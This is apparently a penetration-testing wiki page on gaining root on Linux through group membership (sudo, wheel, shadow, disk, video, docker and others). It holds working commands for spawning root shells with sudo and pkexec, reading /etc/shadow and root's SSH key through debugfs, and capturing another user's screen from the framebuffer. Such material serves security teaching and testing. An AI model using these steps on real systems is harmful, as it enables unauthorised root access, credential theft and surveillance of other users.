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# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
```text
sudo su
```
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% endcode %}
{% code title="session2" %}
```bash
pkttyagent --process #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
{% endcode %}
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
```text
%wheel ALL=(ALL:ALL) ALL
```
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
```text
sudo su
```
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
# Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Group
You can mount the root filesystem of the host machine to an instanceβs volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.